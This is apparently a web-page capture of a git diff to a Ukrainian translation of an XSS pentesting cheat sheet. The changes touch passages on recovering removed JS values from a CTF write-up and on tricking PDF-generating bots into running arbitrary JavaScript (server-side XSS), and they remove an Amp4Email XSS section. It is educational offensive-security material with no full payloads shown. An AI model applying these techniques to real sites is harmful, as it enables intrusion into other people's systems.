З [**цього опису**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, вхідне значення REGEX все ще можна знайти після того, як значення вхідного параметра regex було видалено:
|
||||
З [**цього опису**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, вхід REGEX все ще можна знайти після того, як значення вхідного REGEX було видалено:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1544,7 +1545,7 @@ xss-in-markdown.md
|
||||
### XSS у динамічно створеному PDF
|
||||
|
||||
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконував довільний JS код**.\
|
||||
Отже, якщо **бот для створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
Отже, якщо **бот створення PDF знаходить** якийсь вид **HTML** **тегів**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1556,14 +1557,6 @@ server-side-xss-dynamic-pdf.md
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS у Amp4Email
|
||||
|
||||
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні компоненти AMP для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
|
||||
|
||||
Приклад [**writeup XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS завантаження файлів (svg)
|
||||
|
||||
Завантажте як зображення файл, подібний до наступного (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
|
Loading…
x
Reference in New Issue
Block a user